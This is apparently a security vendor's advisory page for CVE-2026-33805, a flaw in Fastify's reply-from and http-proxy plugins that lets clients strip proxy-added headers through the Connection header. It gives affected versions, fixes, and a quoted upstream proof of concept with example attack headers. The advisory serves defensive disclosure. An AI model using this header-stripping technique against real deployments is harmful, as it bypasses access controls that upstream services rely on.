HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 33805 fastifys connection header abuse enables
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Critical · CVSS 8.6CVE-2026-33805GHSA-GWHP-PF74-VJ37

Fastify's connection header abuse enables stripping of proxy-added headersCVE-2026-33805

Answer in brief

CVE-2026-33805 records a Critical severity (CVSS 8.6) vulnerability in Fastify's connection header abuse enables stripping of proxy-added headers. The current sources do not mark it as known exploited. The current feed maps @fastify/http-proxy (npm), @fastify/http-proxy (npm), @fastify/reply-from (npm), @fastify/reply-from (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Apr 15, 2026Updated Oct 26, 2026Source checked Nov 1, 2026First seen by HOL Jun 11, 2026Material review Oct 26, 2026
Upstream Advisory

Key facts

Risk
Critical · CVSS 8.6
Exploitation
Not marked as known exploited
Affected software
6 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 8.6. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps @fastify/http-proxy (npm), @fastify/http-proxy (npm), @fastify/reply-from (npm), @fastify/reply-from (npm). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:fastify:fastify\/http-proxy:*:*:*:*:*:node.js:*:*Not reportedNot reported
cpe:2.3:a:fastify:reply-from:*:*:*:*:*:node.js:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
@fastify/http-proxynpm<=11.4.311.4.4
@fastify/http-proxynpm>=0 <11.4.411.4.4
@fastify/reply-fromnpm<=12.6.112.6.2
@fastify/reply-fromnpm>=0 <12.6.212.6.2

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for @fastify/http-proxy, @fastify/http-proxy, @fastify/reply-from.
  2. 2Review the reported fix. Update @fastify/http-proxy to 11.4.4; @fastify/http-proxy to 11.4.4; @fastify/reply-from to 12.6.2; @fastify/reply-from to 12.6.2 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Apr 15, 2026

    Evidence: source:nvd:source_dates:source-dates:record
  2. Source modified

    Oct 26, 2026

    Evidence: source:nvd:source_dates:source-dates:record
  3. First seen by HOL

    Jun 11, 2026

Sources and claim methodology

  • Source referenceaccess.redhat.com
  • Source referenceaccess.redhat.com
  • Source referencebugzilla.redhat.com
  • Source referencecna.openjsf.org
  • GitHub security advisorygithub.com
  • Source referencesecurity.access.redhat.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • GitHub security advisorygithub.com
Upstream source description

### Summary `@fastify/reply-from` and `@fastify/http-proxy` process the client's `Connection` header after the proxy has added its own headers via `rewriteRequestHeaders`. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the `Connection` header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes. ### Details The vulnerability exists in `@fastify/reply-from/lib/request.js` at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is: 1. Client headers are copied including the `connection` header (`@fastify/reply-from/index.js` line 91) 2. The proxy adds custom headers via `rewriteRequestHeaders` (line 151) 3. During request construction, the transport handlers read the client's `Connection` header and strip any headers listed in it 4. This stripping happens after `rewriteRequestHeaders`, allowing clients to target proxy-added headers for removal RFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set. The call chain: 1. `@fastify/reply-from/index.js` line 91: `headers = { ...req.headers }` — copies ALL client headers including `connection` 2. `index.js` line 151: `requestHeaders = rewriteRequestHeaders(this.request, headers)` — proxy adds custom headers (e.g., `x-forwarded-by`) 3. `index.js` line 180: `requestImpl({...headers: requestHeaders...})` — passes headers to transport 4. `request.js` line 191 (undici): `getConnectionHeaders(req.headers)` — reads Connection header FROM THE CLIENT 5. `request.js` lines 198-200: Strips headers listed in Connection — including proxy-added headers This is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's `rewriteRequestHeaders` function. ### PoC Self-contained reproduction with an upstream echo service and a proxy that adds a custom header: ```javascript const fastify = require('fastify'); async function test() { // Upstream service that echoes headers const upstream = fastify({ logger: false }); upstream.get('/api/echo-headers', async (request) => { return { headers: request.headers }; }); await upstream.listen({ port: 19801 }); // Proxy that adds a custom header via rewriteRequestHeaders const proxy = fastify({ logger: false }); await proxy.register(require('@fastify/reply-from'), { base: 'http://localhost:19801' }); proxy.get('/proxy/*', async (request, reply) => { const target = '/' + (request.params['*'] || ''); return reply.from(target, { rewriteRequestHeaders: (originalReq, headers) => { return { ...headers, 'x-forwarded-by': 'fastify-proxy' }; } }); }); await proxy.listen({ port: 19800 }); // Baseline: proxy adds x-forwarded-by header const res1 = await proxy.inject({ method: 'GET', url: '/proxy/api/echo-headers' }); console.log('Baseline response headers from upstream:'); const body1 = JSON.parse(res1.body); console.log(' x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT'); // Attack: Connection header strips the proxy-added header const res2 = await proxy.inject({ method: 'GET', url: '/proxy/api/echo-headers', headers: { 'connection': 'x-forwarded-by' } }); console.log('\nAttack response headers from upstream:'); const body2 = JSON.parse(res2.body); console.log(' x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)'); await proxy.close(); await upstream.close(); } test(); ``` Actual output: ``` Baseline response headers from upstream: x-forwarded-by: fastify-proxy Attack response headers from upstream: x-forwarded-by: NOT PRESENT (stripped!) ``` The `x-forwarded-by` header that the proxy explicitly added in `rewriteRequestHeaders` is stripped before reaching the upstream. Multiple headers can be stripped at once by sending `Connection: x-forwarded-by, x-forwarded-for`. Both the undici (default) and HTTP/1.1 transport handlers in `@fastify/reply-from` are affected, as well as `@fastify/http-proxy` which delegates to `@fastify/reply-from`. ### Impact Attackers can selectively remove any header added by the proxy's `rewriteRequestHeaders` function. This enables several attack scenarios: 1. **Bypass proxy identification**: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests 2. **Circumvent access control**: If the proxy adds headers used for routing, authorization, or security decisions (e.g., `x-internal-auth`, `x-proxy-token`), attackers can strip them to access unauthorized resources 3. **Remove arbitrary headers**: Any header can be targeted, including `Connection: authorization` to strip authentication or `Connection: x-forwarded-for, x-forwarded-by` to remove multiple headers at once This vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals. ### Affected Versions - `@fastify/reply-from` — All versions, both undici (default) and HTTP/1.1 transport handlers - `@fastify/http-proxy` — All versions (delegates to `@fastify/reply-from`) - Any configuration using `rewriteRequestHeaders` to add headers that could be security-relevant - No special configuration required to exploit — works with default settings ### Suggested Fix The Connection header from the client should be processed and consumed before `rewriteRequestHeaders` is called, not after. Alternatively, the Connection header processing in `request.js` should maintain a list of headers that existed in the original client request and only strip those, not headers added by `rewriteRequestHeaders`.

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
CWE-644, CWE-444
Source
GitHub Security Advisories
Source checked
Nov 1, 2026
References
9 linked sources
Open source record